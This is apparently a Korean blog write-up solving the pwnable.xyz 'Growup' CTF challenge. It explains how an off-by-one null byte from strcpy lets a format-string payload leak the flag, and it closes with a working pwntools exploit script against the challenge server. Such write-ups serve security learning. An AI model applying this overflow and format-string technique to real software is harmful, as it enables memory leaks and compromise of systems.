Pwnable/pwnable.xyz

[pwnable.xyz] Growup

controlpro 2021. 1. 4. 16:15
728x90

Dreamhack문제가 살짝 질려서 딴 문제로 넘어왔다. 

pwnable.xyz의 Growup 시작! 

 

처음에 18살 이상인지 확인을 하고 y or Y를 입력 받고 다음에 name을 입력하고 입력받은 이름을 출력하고 프로그램이 끝난다. 

 

딱히 buf가 일어나는 부분은 없어 보였느데 마지막줄에 usr와 qword_601160이 0x80만큼 떨어져있다. 수상하네...

usr의 위치

그래서 qword_601160에 무엇이 있는지 확인을 해보면 

qword_601160가 byte_601168을 받는다

 

답은 strcpy이다. strcpy를 사용하면 0x80을 복사하고 마지막에 null byte는 삽입하여 0x81을 총 복사할 수 있다. 이렇게 되면 

> 0x601168 -> 0x601100으로 덮이게 된다. 

이 경우는 우리가 입력한 부분 + 32 byte만큼 떨어진 곳으로 항상 고정되게 된다. 

 

근데 return address를 뭘로 덮어야 하지..? one_gadget을 사용하기에는 libc가 없고,,,, 파일상에 flag가 존재하는 지 확인해보면 데이터 영역에 flag가 존재할 것이다. 

최종 시나리오 

1.  Y or y에서 dummy 와 flag의 위치를 입력해주고  

2.  이름을 입력할 때 dummy * 32 + "%p" * (여러개,, flag 위치 예측) + dummy * (0x80 - 32 - len(%p의 개수))

3. flag 위치 어디 나오는 지 확인하고 %p를 %s로 변경 해주면 끝 

from pwn import *
flag = 0x601080
context.log_level = 'debug'
r = remote("svc.pwnable.xyz" , 30004)
r.recvuntil(': ')
r.sendline('y' + "A" * 7 + p32(flag))
formatstr = "%p %p %p %p %p %p %p %p %s %p"
r.recvuntil("Name: ")
r.sendline('A'* 32 + formatstr + 'A' *(0x80 - 32 - len(formatstr)))

r.interactive()
~                        

 

728x90
반응형